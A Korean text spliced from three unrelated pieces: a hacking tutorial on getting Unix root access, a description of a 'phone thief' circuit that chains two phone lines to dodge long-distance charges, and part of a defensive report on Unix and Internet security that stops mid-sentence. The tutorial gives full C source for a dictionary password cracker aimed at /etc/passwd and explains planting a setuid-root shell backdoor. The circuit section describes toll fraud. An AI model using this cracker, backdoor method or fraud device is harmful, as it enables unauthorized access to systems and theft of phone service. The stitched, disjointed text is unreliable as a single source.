 보통 네트워크 상의 해킹은 어떤 한 서버에 접속해서 그곳에 root의 계정을 알아 내서 그 시스템을
내 마음대로 주무르는 것(?)을 골자로 합니다. 그럼 루트 계정은 어떻게 알아낼 수 있을까요?
 ①  root가 root계정으로 접속할 때 옆에서 지켜보며 암호를 알아내는 방법
 ②  루트의 계정으로 접속되어있는 단말기(terminal)에서 root권한을 가진 사람이 잠깐 자리를
비웠을때 Back Door를 만드는 방법
 ③  Cracker 등을 이용하여 root암호를 알아내는 방법
 ④  OS자체의 버그를 이용해서 시스템에 접근하는 방법
 ⑤  Sniffering을 통한 암호알아내기 방법
 등등 여러가지 방법이 있습니다.

 자! 이제 한 가지씩 차근 차근 이야기를 하도록 하겠습니다.
 설명을 할때에는 기본적인 유닉스 사용법은 이야기 하지 않습니다.
 유닉스의 기본적인 내용과 기본 유틸리티의 사용법은 미리 미리 공부하시기 바랍니다.
 위에서는 유닉스의 기본은 정리해 놓았습니다.


 *눈치 코치로 암호 알아내기

 이번에 소개할 방법은 설명이 별루 필요없습니다. 가능성도 희박하지만...
 만약 시스템 관리를 하는 친구가 있다면 그 친구에게 찾아가서 같이 노는 방법이라고나 할까요?
 그냥 친구가 관리하는 것을 보다가 친구가 로그인 과정에서 손가락으로 어느키를 누르는가를
순서까지 알아내는
 것입니다. 정말 친하다면 잘 꼬셔서 차라리 말로 알려달라는 것이 편하겠군요.


 *개 구멍(Back Door)을 만들자!

 이번에는 전에 말한 친구가 잠깐 화장실에 갔을때 할 수 있는 방법입니다.
 여기서 부터는 설명이 많이 필요합니다.
 UNIX에서의 모든 파일은 소유 ID와 소유 Group ID를 가지고 있습니다.
 만약 그 파일이 실행 파일이라면 Set User ID와 Set Group ID를 가질 수도 있습니다.
 Set User ID나 Set Group ID가 설정되어 있는 실행 파일을 실행 시킨다면 그 파일을 실행 시키는
동안은 그 파일의 실제 소유자의 권한이나 소유 Group 권한을 갖게 됩니다. 물론 파일의 실행이
끝나면 다시 자신의 권한으로 되돌아
 옵니다. 만약 그 파일이 실행 도중 어떤한 이유에서든지 비정상적으로 프로세스를 빠져나온다면
그때는 그 파일의 소유자나 소유 Group 권한으로 빠져 나오게 됩니다. 이를 응용한다면 root의
소유로 되어 있는 프로그램을 실행시켜 비정상적으로 빠져나오게 하면 root의 권한을 그대로
사용할 수 있습니다. 그러한 방법으로 root친구가 잠깐 화장실에 같을때 다음과 같은 내용을
실제로 작성해서 컴파일 과정을 거쳐 실행 파일로 만들어 눈에 잘 띄지않고 자신이 들어갈 수
있는
 디렉토리에 숨겨 놓습니다.
 그런 후 자신의 계정으로 그 시스템에 당당히 접속해서 숨겨놓은 프로그램을 실행시키는
것이지요.  다음의 Source는 자신의 프로세스에서 /bin/csh을 실제로 호출해서 명령어 모드로 빠져
나가는 것입니다. 컴파일 한 후에는 실행 파일의 Permission을 4755이상으로 설정해야 합니다.

 --다음--
다음에 실제 테스트를 거친 후에 공개 하겠습니다.

 그러면 시스템 관리자의 입장에서 생각한다면 이런 생각이
 드실 것 입니다.
 왜 Set User ID나 Set Group ID같은 것을 유닉스는 만들어서 이렇게 해킹이 가능하게 하는 것일까?
 우리가 전자우편을 보낼때 사용하는 명령 mail을 생각해 봅시다.
 mail은 그 시스템의 모든 사용자가 사용을 해야 되지만 e-mail을 실제로 보내주는 작업을 일반
사용자가 할 수는 없으므로 mail이라는 실행 파일에 setuid를 설정해서 mail을 보내는 동안에는
super user의 권한을 갖게 하는 것입니다. 실제 ls -l /bin/mail명령을 사용해서 살펴보면 mail 파일에
setuid Permission이 설정되어있다는 걸 알수 있습니다.
 --s--x--x 1 root 23414 jan 2 00:23 mail

 그럼 이러한 방법에 의한 해킹을 막기 위해서는 관리자는 어떻게 해야 하는가하면... 자신의
시스템내의 모든 setuid나 setgid를 갖는 프로그램이 정상 작동을 하는지 주기적으로 체크를 해야
되겠지요.
 알고 보면 간단하죠?


 *Cracker로 무식하게 알아내기

 이 앞번 해킹 방법까지는 root라는 super user를 개인적으로 잘 알고 있어야 할 수 있는
방법이었습니다. 실제로 대부분의 사람들은 아는 사람들 중에 suprer user가 있을리가 없죠?
그렇다고 로비를 한다는 것도 우습구요. 이번에는 자신의 계정으로 접속을 해서 실제로 root를
포함한 다른 사용자의 암호를 알아내는 방법을 소개해 드리겠습니다. 보통 대부분의
UNIX시스템은 /etc/passwd라는 파일에 그 시스템의 모든 사용자들의 이름, ID, 암호등을 적어놓고
관리를 하고 있습니다. passwd파일을 실제로 읽어서 암호를 알아내면 되는데 각 사용자 별로
한줄씩 구성되어 있습니다. 한 사용자의 passwd파일 정보는 다음의 형식을 따릅니다.

 유저이름:암호:유저ID:그룹ID:실제이름:홈디렉토리:기본Shell

 예를 든다면  jch:Ag8hkqPu0mCxg:10:10:Jo Hee Chang:/home/jch;/bin/csh

 입니다. 풀어 보자면 각각의 구분자는 콜론:이구요. jch는 로그인할때 쓰이는 사용자 이름이며
Ag8hkqPu0mCxg는 로그인할때 쓰이는 암호, 10은 사용자 ID입니다. 이것은 사용자를 숫자로서
구별하는 코드로 사용자가 직접 사용하지는 않습니다. 그 다음의 10은 그룹ID. jhc가 속한 그룹에
대한 번호입니다.
 갑자기 이런걸 다 설명해야 하는가 라는 생각이 드는 군요. 그래도 시작을 했으니...
 Jo Hee Chang는 실제 사용자의 이름입니다. 이건 없어도 무방합니다. 실제 사용자의 이름이
아니고 그냥 인사말 정도를 넣는 경우도 있습니다. 다음은 사용이 허가 되어 있는
홈디렉토리입니다. 그 다음은 로그인이 되면 막바로 사용해야하는 shell을 가르키는 것이죠? 다
아시는 사실을 줄줄히 설명을 하지 않았나 모르겠습니다. 그런데 문제는 실제로 알고자 하는
암호는 암호화 되어 있다는 것이죠. 말이 엉켰네요. 그럼 이렇게 말을 하지요. Password는
암호화가 되어 있습니다.  유닉스에는 crypt라는 암호함수가 있는데 이 함수의 특징은  역함수가
존재하지 않는다는 것이죠.  갑자기 수학이야기를 하는 것 같습니까? 그런데 실제로  수학이야기
예요.  A라는 상태에서 B라는 상태는 갈 수 있어도 B에서 A라는   상태로는 갈 수 없다는 것이죠.
 그렇다면은 실제 로그인 과정에서 우리가 직접 적어넣는 암호는 어떻게 판단이 될까요?
 유닉스 시스템에서는 우리가 로그인 과정에서 적어넣은 password를 crypt함수로 암호화를 시켜
/etc/passwd파일과
 비교를 해서 사용자 이름과 password가 암호화 된 것과  똑같은 경우에만 사용을 허가해 줍니다. 
그럼 해킹을 어떻게 하자고 이렇게 너절하게 이야기를 했을까요?
 /etc/passwd파일은 보통 누구다 볼 수 있도록 공개를 해 놓습니다.
 이 passwd파일을 갖다가 crypt함수를 이용해서 아무 글자나 집어넣어서 암호화된 password를
알아낼때까지 roop를 돌리는
 것입니다.
 무식한 무식하게 알아낸다고 말을 했쟎아요.
 여기서 말하는 roop를 도는 프로그램이 바로 cracker라는 녀석이고 아무 글자라고 하는 것이 바로
단어 사전입니다.
 다음은 간단한 cracker의 실제 Source입니다.
 crack의 방법은 passwd파일에서 암호가 없는 사용자를 찾고 그다음으로 사용자 이름과 암호과
같은 것을 찾고 그다음 단어 사전의 단어들을 비교해가면서 찾습니다. 시간이 무지 오래 걸리는
작업이지만 알고리즘을 수정한다면 더 빠른 cracker를 만들 수 있을 것입니다.
 #include &LTstdio.h>
 #include &LTstring.h>

 #define fetch(a,b,c,d) fgets(a,130,b);c=strtok(a,":");d=strtok('\0',":");

 main()
 {
 FILE *p,*o,*w;
 char i[50];
 char pes[130],pas[50],pps[50],pws[50];
 char *es=pes,*as=pas,*ps=pps,*ws=pws;
 printf("\nTinyCrack v1.0 Bluesman 1/95\n\n");

 printf("Password File: ");
 gets(i);
 p=fopen(i,"r");

 printf("WordList File: ");
 gets(i);
 w=fopen(i,"r");

 printf("Results File: ");
 gets(i);
 o=fopen(i,"w");

 fprintf(o,"*** PASS 1: NULL PASSWORDS ***\n");
 while(ps)
 {
 fetch(es,p,as,ps);
 if(ps) if(ps[-1]==':') fprintf(o,"|User[%s] has no password!\n",as);
 }
 fflush(o);
 rewind(p);

 fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n");
 do
 {
 fetch(es,p,as,ps);
 if(ps) if(!strcmp((char *)crypt(as,ps),ps))
 fprintf(o,"|User[%s]has password [%s]\n",as,as);
 }while(ps);
 fflush(o);
 rewind(p);
 fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n");
 do{
 rewind(w);
 fetch(es,p,as,ps);
 do
 {
 fgets(ws,130,w);
 ws[strlen(ws)-1]=0;
 if(!strcmp((char *)crypt(ws,ps),ps))
 {
 fprintf(o,"| User [%s] has password [%s]\n",as,ws);
 fflush(o);
 break;
 }
 }while(!feof(w));
 }while(!feof(p));
 fprintf(o,"*** FINISHED SESSION ***\n");
 exit(1);
 }

 이방법에 의해서는 root뿐만이 아니라 다른 일반 사용자의 계정도 알아 낼 수 있습니다. 시간만
여유롭다면... 보안의 관점에서 생각한다면 이러한 해킹의 방법을 숙지하고 자신의 password를
정할때 어떤 단어로 이루져 있거나 자신의 사용자 이름을 직접 또는 간접적으로 이용했거나하는
경우는 피해야 하고 주기적인 password변경에 의해 password관리를 해야 겠습니다.
 이와 같은 해킹방법의 관점에서 생각할 때 자신의 지금의 password에 특수문자를 끼워 넣는다면
password가 cracker에 의해 도용될 가능성은 몇 백배 줄어 들게 됩니다.  또 시스템 관리자라면
passwd파일을 위와 같은 방식으로 저장하지 않고 shadow파일을 만들어 password와 다른 사용자 
정보를 분리시켜 놓는 것도 권장할 만한 것 입니다. 그런데 사실 shadow파일에 대한 해킹 방법도
알려져 있어서 문제가 되긴 하겠지만 시간과 해킹방법의 난의도에 의해 많은 해킹을 막을 수
있습니다.
 shadow파일에 대한 이야기는 다음에 하겠습니다.


 *벌레(Bug)로 집 갈가 먹기

 유닉스 시스템에는 엄청나게 많은 프로그램 파일들이 존재합니다.
 유닉스의 기본 철학이 "작은 도구들을 여러가지 이용하여 큰 일을 해결하자"(??? 라고 저도
들었어요.)입니다.
 그래서 아주 크기가 작은 유틸리티나 명령어 들이 많죠.
 그 많은 파일들을 사람이 만들었겠죠? 사람이 하는 일이다 보니 실수도 있는법이죠.


이 회로의 이름을 [전화도둑놈]이라고 銘名합니다.
우선,저의 입장부터 잠깐 브리핑해야할 것 같군요.
이 회로를 올리는 목적은 ' 불법을  조장'하는 취지가 아니라, 전자회로
 에 관심이  지대하신 회원 여러분  중, '이런 회로는  구성할 수 없을
 까?'하는 프론티어정신(흐흐~)에  불타는 분에게, 예습자료가 되어  드
 리고자하는 丹心임을 알아주셨으면 합니다.
회로구현의 한 샘플로만 여기시고, 실제 사용할 일이 없었으면 합니다.
 칼 장수가 칼을 선보인다고해서 죄가 성립 안  되듯, 어디까지나 칼을
 사용하는 방법에 따른 후속 책임을 스스로 질 수 있기를 바랍니다.

전화국 혹은 회사에서 전화를 물쓰듯이 쓰다가 집에 돌아와서 자기 전
화를 쓸려고하면  괜히 아까운 심보가 발동하지는  않는지요? 저 처럼
한달에 8만원 이상을 통신료를 지불하는 입장에서는 만들어 쓸 생각은
없지만, 생각은 한 번씩 하게 되지요. 이 회로도 그 산물이라 생각하면
될 것입니다.

이 [전화도둑놈]을  구성하기 위해서는 두  개의 전화라인이 필요합니
다. 단말장비에서 말하는 일종의 텐뎀(tandem?)을 구성하는 것이지요.
회로에 대한 기능과  동작 그리고 나름대로 정한 가스펙(假仕樣)에  대
해서 말씀드리죠.
먼저 본 장치를 두  개의 전화라인에 연결해 두고 호출측을 a전화라하
고, 텐뎀되어 장거리  혹은 접속요구처에 다시 걸기위한 전화를  b전화
라고 합니다.
본인이 특정  지역에 장시간의 전화를  쓸려고 할 경우, 우선  a전화에
전화를 겁니다.
a전화에 연결된 링디텍터회로로써 벨이 n회 울리면 스스로 a전화를 받
도록 하고, 그 때부터 DTMF신호의 입력을 기다립니다. 예로 007*(*는
별표)를 누르면 a전화에서 인식을 했다는 표시로 특정 톤이 나오고, 끊
고 기다리면 a전화측에서 호출측으로 다시 전화를 겁니다.
전화를 받고  특정번호(예로 01*)를 누르면, 장비는  b전화회선이 지금
사용중인지를 검사하고  사용중이 아닐 때는(b전화선측의  훅.디텍터로
검출)  b전화를 K2릴레이로 접속시키게 합니다.
그러면, 두  전화라인은 탠뎀되어  호출측에 b전화의 발신음이  들리게
되고 이시점부터  걸고자하는 전화번호를 누르면  원하는 곳과 연결할
수가 있게 됩니다.
통화를 종료한 후는 특정 버튼(예로 02# :#는 우물정자)을 누르면 마이
콤은 두 전화선로를 복귀시켜 처음상태로 돌려 놓습니다.
따라서, 한 통의  시내전화 요금으로 장시간 혹은 장거리전화를  쓸 수
가 있게 됩니다.
회로의 구성은 DTMF송수신 칩  그리고 제어용 원칩마이크로프로세서
로 되어 있는데, 훅디텍터회로는 혹시라도 b전화를 누가  쓰고 있을 경
우 접속되는  일이 없도록하기 위한  것으로 없어도 무관하지요.  거듭
서두의 취지를 유념하시어, 해여 스스로의 신상에  누가되는 일이 없길
바랍니다.



                               *** 목 차 ****
                       제 1 부 : 인터네트 보안의 실체
                      제 2 부 : 파이어월이란 무엇인가?
  ------------------------------------------------------------------------
                                  ■ 제 1부 ■
                                1. 인터넷과 해커
                           2. 유닉스 상의 보안 취약성
                               3. 침입수법의 이해
                                4. 보안도구 활용
                            5. 방화벽 시스템의 이해
                                    6. 결론
           최근 전산망을 통한 침입이  매우 잦아지고 있으며, 이  수법들
        도 매우 복잡해지는 수준에 있다. 많은 경우가 패스워드의  문제점
        에 기인한다고 믿지만 최근 보다 우수한 침입 수법을  이용하는 경
        우가 많이 발견되고  있다. 여기에서는 일반적인 시스템 보안에 대
        한 접근 방법을  애기하는 것이 아니라, 보다 우수한 침입방법들에
        대해 초점을 맞추고,   침입자들이 사용하는 혹은 시스템의 시험등
               을 통해 침입자들을 점검하는 것에 대해 알아 본다.
          보통 시스템  관리자들은  어떤 자원이  보호되어야 한다는 것을
        알고  있지만, 네트웍크나 시스템의 보호를 위해 어떤 수준의 평가
        가 필요한 지는 잘 모르고  있다.  침입자들이 어떤 접근을 하려고
        하는지를  보임으로써 시스템  관리자들이 어떻게  보안을 세울 것
        인지 결정하는데  도움을  주고 마지막으로 방화벽 시스템이  무엇
        이고 방화벽 시스템의 구성요소  등과 국내의  방화벽 시스템의 현
                        황에 대해서 알아 보고자 한다.
                               1.  인터넷과 해커
          인터넷은 전산망의 침입자들에게 매우 취약한 면을 보여주고  있
        다. 청소년들이 국방성의  시스템을 침입하거나 암센터에 침입하여
        매우 중요한 정보를 지우는등  세계의 이목을 집중시킬만한 사건들
        은 인터넷에서 자주 일어나는  일이다. 그러면 인터넷에서  이러한
        사건들이 자주 일어나는가? 그것은 다음과 같은 이유로 침입자들에
                          게 매우 취약하기 때문이다.
                            *  인터넷의 개방성 이다.
                   *  UNIX, TCP/IP 등의 소스가 개방되어 있다.
                     *  침입자들 상호간에 정보교환이 쉽다.
          인터넷의 이러한 취약점은  대부분 인터넷에서 활동하는 불법 침
        입자들에  대한 취약요소로 작용을 하게 된다. 단순한 호기심에 의
        해 다른 기관의 시스템에  불법으로 접근하는 것도 범죄행위이지만
        보다 범죄적인 동기에 의해 불법 침입하는 침입자들이 더욱 문제이
                                     다.
          그러면   이러한  침입자들이   일으킬   수   있는  위협요소는
            * 악의적 목적에 의한 불법 접근과 비인가된 시스템의 사용
                 * 악의적 목적에 의한 정보의 열람, 파괴 및 변조
                * 악의적 목적에 의한 정상적인 시스템 서비스 방해
          등과 같이 생각해 볼수 있을  것이다.  여기서는 해커에 대한 정
                   의와 해킹사례에 대해  이야기 해 보겠다.
                                  1.1 해커란?
          지금까지 인터넷에서 불법적으로 다른 시스템에 침투하여 인가되
        지 않은   일을  하는 사람을  일반적인 단어인   침입자(Cracker,
        Intruder)라고 표현해 왔는데, 인터넷에서는 요즘  이를 단순히 해
        커라 부르고 있다. 사실 해커(Hacker)와 침입자(Cracker)는 구별해
        야  한다고 해커들은 주장하고 있으며,  실제로 해외의 인터넷  보
        안  저문가들의 저서에도   그렇게  설명되어  있다.   소위 "Good
        Guy", "Bad Guy"를  구별하는데 국내에서는 아무 차별없이사용되고
                                    있다.
          해커의 원래 사전적 의미는  잘개 쪼개는 사람으로서 컴퓨터  시
        스템의 동작원리와 내부구조등을 알려고 노력하는 사람들이라는 의
        미를 가지며 주어진 컴퓨터 업무를  잘 수행하는 끼 있는 사람들을
        일컫는 말이다. 그런데 현재는 "Bad Guy"의 의미로 더 잘 사용되고
                                있는 실정이다.
          컴퓨터 매니아격인 해커들은 컴퓨터를  누구나 사용할 수 있어야
        하며 이  문명의  이기를 만인이 공유해야만 한다고 믿는 자유주의
        자이다. 그러나, 해커의 좋은  이미지는 MS사, Apple사로 이어지다
        가 다른 전산망의 보급, 특히  인터네의 확장과 더불어  다른 컴퓨
        터에 불법적으로 침입하여  비인가된 행위를 저지르는 전산마의 침
                        입자로 이미지가 굳어지게 됐다.
                              1.2 인터넷 해킹 사례
          인터넷  해킹 사례에   빠지지 않고  등장하는 세계적인  해킹사
        례는 인터네   웜(Internet Worm)이라는 네트웍  바이러스에  의한
        사건과 뻐꾸기 알(Cuckoo' Egg)이라는 책으로  유명한 서독의 청소
        년 간첩해커단에 의한 서방세계의 군사기밀정보 탈취사건이 그것이
        다.  이 두가지 사건  내용을 간단히 살펴보고 기타 사건과 국내에
                       서의 해커 사건을 보기로 하겠다.
                              1.2.1 Internet Worm
          먼저 인터넷 웜 사건을 보면, 1988년 11월 2일 코넬대학  대학원
        생인 Robert T.  Moriss가 네트웍을 통해 상대편 유닉스(Berkeley)
        시스템에 자신의 프로그램을 전송한  후 시스템을 정지시키는 프로
        그램(일명 Internet Worm)을  개발, 실행해 6천여대 이상의 인터넷
                        및 호스트를 일시 정지 시켰다.
          다만 바이러스와는 달리  시스템의 정보를 파괴하지는 않았지만,
        유닉스 시스템의 네트웍 보안  취약점을 이용,  자신의 프로그램을
        상대편으로 감염시키는 이른바  웜(Worm)으  역할을 했는데, 6천여
        대의 컴퓨터를 하루밤에 일시 정지시켰으므로 그 놀라움은 매우 컸
                               다고 볼 수 있다.
          감염된 시스템은  사용자나 시스템  파일을  파괴 당하지는 않고
        웜 프로그램이  계속 복제하고  또 컴파일함으로써,  즉 자신의 프
        로세서를 계속증가하여   결국 시스템이 동작을 멈추게   된다. 웜
        프로그램이 이용한 유닉스 시스템의 보안 취약요소는 다음과 같다.
          1) Finger의 Security Hole : Argument Size를 체크하지 않는 것
                        을 이용해 버퍼를 오버플로우 시킨다.
          2) Sendmail의 DEBUG 옵션을 이용한 웜 프로그램의 전송 :SMTP인
             Sendmail이 프로토콜을 시도할 때 디버그 옵션으로 별도의 웜
                     프로그램을전송하는 쉘스크립트를 수행한다.
          3) 사용자의 계정, 패스워드  이용 : 네트웍을 통해 시스템 사용
             자의 계정을 알아낸 후 패스워드를 공략함으로써 상대폄 시스
                                 템을 감염 시킨다.
                           1.2.2 뻐꾸기 알과 그 아류
          뻐꾸기 알(Cuckoo's Egg)은 서독의 해커들을 추적한 시스템 관리
        자가 쓴 책의 이름이다.  클리포드 스톨은 해커들이 다른 시스템에
        불법적으로 엑세스하고 불법적으로  정보를 빼내가는 것을 마치 뻐
        꾸기가 자신의  알을 다른 새의 둥지에서  부화시키는 것을 연상해
                        이러한 책 이름을 고안 하였다.
           이 관리자는 일년반에 걸친  추적 끝에 서독 해커들이 전세계 3
        백여 기관에 불법적인  접근을 시도하고 군사기밀 정보를 탈취한다
        는 사실을 알게 되었는데, NSA, CIA등에서 이 해커들이 구소련 KGB
        의 자금 지원을 받는  서독 해커임을 밝혀 서독에서 기소된 사건이
        다. 자신의 시스템에 불법  침입한 침입자들이 서독의 어느 대학으
        로부터 시작되며, 이것은 또 어느 해커의 집에서 PC를 통해 시작된
        다는 사실을  알게 되기까지 그 해커들의  침입을 당하는 시스템의
        관리자, 전화 회사의 기술자, 국제 통신 회선 담당자까지 협조하면
        서 추적하는 과정을 살펴 보면, 네트웍을 통한 보안 협조체제의 중
        요성을 깨닫게 하는데, 해커를  역추적하는 과정이 마치 스파이 영
                    화를 보듯 흥미 진진하게 서술되고 있다.
                                  1.2.3 기 타
           그 밖에 뉴욕시의 414번가에 사는 일단의 해커들이 뉴욕 암센터
        를 해킹하고 자신의 침입  흔적을 지우려 하다가 환자들의 암 치료
        정보까지 모두 지워버려 청문회까지 열린 사건이 있었다. NASA에서
        의 WANK(Worms  Aganinst Nuclear Killers)  worm 프로그램에 의해
        NASA 네트웍내의 많은 컴퓨터들이  감염된 사건, 시스템 불법 침입
        으로 3명의 호주 해커들이  구속당한 사건, 2명의 해커들이 덴마크
        의 많은 컴퓨터에  불법 침입 했다가 구속당한  사례, 그리고 최근
        러시아 해커가 시티뱅크은행망에  침입하여 불법 인출하여 미 당국
        에구속된 사건등에서 알 수 있듯이 현재에도 수많은 해커들이 인터
                              넷을 누비고 있다.
                                1.2.4 국내 사례
           외국에서만 해킹이 있었던 것이 아니라 국내에서도 91년에 SERI
        의 슈퍼컴퓨터센터내 CRAY  2S에 해커가 침입하여 시스템을 교란한
          사건 외에도 수많은 해킹이 있었다. 국내의 해킹사례를 보면,
          - 서울대 전산센터에  해커들이 침입해 워크스테이션 6대의 하드
                         디스크를 지워버린 사건(1993)
          - 한국통신  하나망 관리센터에 해커가  침입한 서울대와 유사한
                                  사건(1993)
          - 1994년 11월3일자 Washington  Times에 영국 소년 해커가 한국
        의 원자력 연구소에 침입하여  비밀핵 관련 데이터를 훔쳐 미국 공
        군 RADC(Rome Air  Development Center)로 옮겨 놓았다고 보도하여
        사회적 문제가 됐던 사건(1994)-  이후 RADC의 시스템 관리자가 자
        신의 기관에 한국의 원자력 연구소에서 유출된 기밀 데이타나 정보
        가 없다는 사실을 확인했고,  해커는 원자력 연구소에 있는 웍스테
        이션의 하드디스크를 NFS를 이용해 접속한 후, 그 파일시스템의 내
              용을 검색하고 열람한 정도인 것으로 알려지고 있다.
          - KRNIC(한국망정보센터)에 해커가  침입하여 백도어를 설치하고
            /etc/motd에 한국인을 비하하는 글을 남겨 쫓겨난 사건(1994)
          - 서강대학교 아키서버에 해커가 침입하여 디스크를 지워버린 사
                                     건(1994)
                           - 서울대 침투 해커 (1995)
                          - 부산 지역 해커 검거(1995)
          - 포항공대  물리과등의 호스트에  침입하여 워크스테이션 6대의
               하드 디스크 및 EEPROM의 패스워드까지 바꾼 사건(1996)
                          등으로 수많은 해킹사례가 있다.
                           2. 유닉스 상의 보안 취약성
          최근 인너넷의 급격한 확장과 함께 해킹에 의한 전산망 불법침입
        사고들이 많이  발생하고 있으며 그 건수도  매우 늘어나는 추세에
        있다. 특히 유닉스 시스템이  주된 서버인 국내 인터넷에서 유닉스
        시스템에 대한 보안 대책이  매우 시급한 실정이다. 미국의 CERT에
        서 발행하는 CERT-Advisory 문서들을  참고할 때 거의 유닉스 기종
        별로 다양한  문제점들을 가지고 있는데,  이러한 문제점들의 많은
        부분이 유닉스 시스템이 가진 버그에 의한 문제점들과 시스템을 잘
        못 관리하면서  생긴 문제점들인 것이다.  여기에서는 유닉스 상에
             존재하는 세가지 보안 분야에 대하여 이야기 해보겠다.
                            2.1 패스워드 및 계정보안
          패스워드 및 계정 관련  보안 취약성은 패스워드의 유추, 불필요
        한 계정, 그리고 패스워드가 없는 계정 등이다. 침입자들이 시스템
        에 침입할 수 있는 가장  쉬운 방법이 시스템 상의 특정 사용자 계
        정을 훔치는 것이다. 이러한 보안 취약성은 많은 시스템들이 그 기
        관에 속해있지 않은 사용자의 계정과 추측하기 쉬운 패스워드를 가
        진 계정을 허용한1다는 점에서 출발한다. 또한, 오랫동안 사용하지
        않거나 불필요한  계정을 그대로 두는 것은  매우 위험하기 때문에
        오랫동안 사용치 않는  계정은 패스워드에 에이징 기능을 부여하여
          일정 기간 사용치 않는 경우 계정을 막아 버리는 방법이 좋다.
          외부의 사용자들을 위하여  'guest', 'sonnim' 등과 같은 계정을
        만들어 둔다면 누구라도 시스템에 대한 접근 권한을 얻게 된다. 마
        지막으로 가장 주의해야 하는 보안 취약성은 패스워드를 가지고 있
        지 않은  계정이다. 몇몇 유닉스에서는 'who',  'date', 'lp' 등과
        같은 패스워드를  가지고 있지 않은 계정을  기본으로 제공하고 있
        다. 이러한  계정들은 시스템을 설치할  당시 "awk -F:  '$2 == ""
        {print}' /etc/passwd"를 실행하여  패스워드 없는 계정에 대한 대
                              비를 하여야 한다.
                              2.2 파일 시스템 보안
          유닉스 시스템의 보안에서  파일 시스템의 보안은 가장 필수적이
        다. 침입자가 어떠한 경로로  시스템에 침입했던 간에 그는 미래의
        침입을 위하여 backdoor를 만들거나,  다른 호스트의 침입 혹은 해
        당 시스템의 루트 권한을  뺏기 위하여 트로이 목마(Trojan Horse)
        등의 불법 프로그램을 만들려고 할 것이다. 그밖에도 파일시스템내
        에 논리폭탄(Logic Bomb)등을 이용하여 어떤 사건을 만나면 시스템
        을 파괴하거나 고장을 일으키는  프로그램을 이용할 수 있으며, 바
        이러스 프로그램 등을 만들기도  한다. 파일 시스템의 보안 취약성
                          을 열거하자면 다음과 같다.
                     * 파일 및 디렉토리 접근 권한 잘못 설정
              * SUID와 SGID를 가진 실행 파일 및 스크립트 존재 여부
                               * loadmodule 문제
            * 백도어, 트로이 목마 프로그램 및 주요 파일의 교체 여부
             * cron, inetd.conf, rc* 파일 내 잘못된 내용 삽입 여부
          이러한 이유로 파일시스템의  정기적인 점검이 필수적이며, 파일
              시스템 보안을 위한 체크리스트를 보면 다음과 같다.
                            퍼미션 및 루트 소유 체크
                            ━━━━━━━━━━━━
                                /etc/utmp    644
                                /etc/sm     2755
                               /etc/sm.bak   2755
                                /etc/state    644
                                /etc/motd     644
                                /etc/mtab     644
                              /etc/syslog.pid  644
                         /kernel     644  owned by root
                             /etc,    owned by root
                           /usr/etc,    owned by root
                             /bin,    owned by root
                           /usr/bin,    owned by root
                             /sbin,    owned by root
                           /usr/sbin,    owned by root
                             /tmp,    owned by root
                           /var/tmp     owned by root
           bin이 소유주인 파일들 중에서 setuid와 setgid를 갖지 않고 읽
        기 퍼미션을  갖지만  소유주 이외에는 쓰기 퍼미션이 금지된 파일
                  들 및 디렉토리들은  소유주를 루트로 바꾼다
                          SUID, SGID 및 sticky bit 체크
                        ━━━━━━━━━━━━━━━━
                        ☞ SUID와 SGID bit의 파일을 체크
            % find /  -type f\(-perm -00400 -o  -perm -002000\)\ -exec
              ls -lg {}\; 유저들의 umask가 027 또는 077으로 셋 되어 있
                                           는가 체크
                           o /tmp    sticky bit set on
           ☞/dev 퍼미션 비트의  첫 부분이 특수 파일로  셋 되어 있는가
                                       체크
                      % find /dev -type f -exec ls -l {}\;
              ☞ 루트에 의해서 작동되어야 하는 파일의 소유주 체크
                      /.login, /.profile와 로그인 초기 파일
                     /.exrc 그리고 유사한 프로그램 초기 파일
                   /.logout 그리고 유사한 부분의 cleanup 파일
                                crontab과 엔티티
                               NFS 파티션의 파일들
              /etc/rc* 그리고 유사한 시스템 시작 및 셧 다운 파일들
                               2.3 네트워크 보안
          네트워크 관련  보안 문제는 인터넷의 발전과  더불어 그 범위가
        점점 넓어지고 있는 실정이며,  대표적인 보안 취약성은 다음과 같
                                     다.
            2.3.1 'r' 명령 관련 .rhosts, /etc/hosts.equiv 파일 문제
           'r' 명령의 사용을  허용하는 경우 hosts.equiv와 .rhosts 파일
        을 이용하면 그 파일에 속해있는 시스템과 사용자들은 사용자 인증
        과정을 거치지  않고 시스템에  대한 접근  권한을 얻을  수 있다.
        /etc/hosts.equiv 파일은 시스템  관리자에 의해 신뢰성 있는 호스
        트를 지정하며 파일의 내용이  '+'로만 되어 있다면 /etc/hosts 파
         일에 속해있는 모든 시스템에서 패스워드 없이 접근할 수 있다.
                                 2.3.2 ftp 문제
          ftp에 관련된 보안 취약성은  크게 구성 파일의 잘못된 설정으로
        인한 것이 대부분이다. 구성  파일의 잘못된 구성은 anonymous ftp
        의 홈 디렉토리, 관련 파일의  접근 권한, ftp 홈 디렉토리에 여분
        의  실행 파일들을  설치하는 경우이다.  이러한  보안 취약성들은
        anonymous ftp 서버를 구축할 경우에 조금만 신경쓰면 미연에 방지
                                 할 수 있다.
                                 2.3.3 NFS 문제
          NFS를   설치한    대부분의   유닉스는    /etc/exports   또는
        /etc/dfs/dfstab에서 다른 호스트가  mount할 수 있는 파일 시스템
        을 export할 파일 시스템을  지정할 수 있다. 하지만, 많은 관리자
        들이 호스트들을 지정하지 않아  그 파일 시스템은 world export된
        상태가 되어 Internet의 어느 호스트에서나 mount할 수 있게 된다.
        이런 경우 외부에서 사용자의 패스워드를 몰라도 일단 export된 디
        렉토리를 mount한 다음 원하는 사용자의 $HOME/.rhosts를 만들어서
        rlogin 또는 rsh을 이용하여  로그인할 수 있다. 또한, nfsbug라는
        프로그램을 이용해 시스템 상의 NFS에 대한 취약성을 검색할 수 있
                                     다.
                             2.3.4 E-mail 관련 문제
          sendmail은 초기  설정 상태로 루트  권한을 이용하여 구동되며,
        루트 권한을 이용하여 메일을  전달한다. 그 후에 메일을 해당되는
        사용자의 ID로 변환해 준다.  sendmail은 구성파일을 읽을 때 루트
        권한을 가지고 모든 일을 처리한다. 이처럼 모든 일을 루트 권한을
        이용하여 처리하기 때문에 만일 초기 구성 파일을 잘못 설정한다면
        침입자에게 공격당할  가능성이 높아지게 된다.   sendmail에 대한
                   보안 취약성은 크게 다음과 같이 구분된다.
          일반적으로 mailing list는 그  그룹에 속한 일반 사용자에게 쓰
        기를 허용하는 경우가 많다. 이  경우 그 일반 사용자는 setuid 쉘
        을 이용하여 비인가된 권한을 가질 수 있다. 또한 alias 파일의 경
        우에는 파일 내에 메일을 통해 이진 파일을 전송할 수 있는 decode
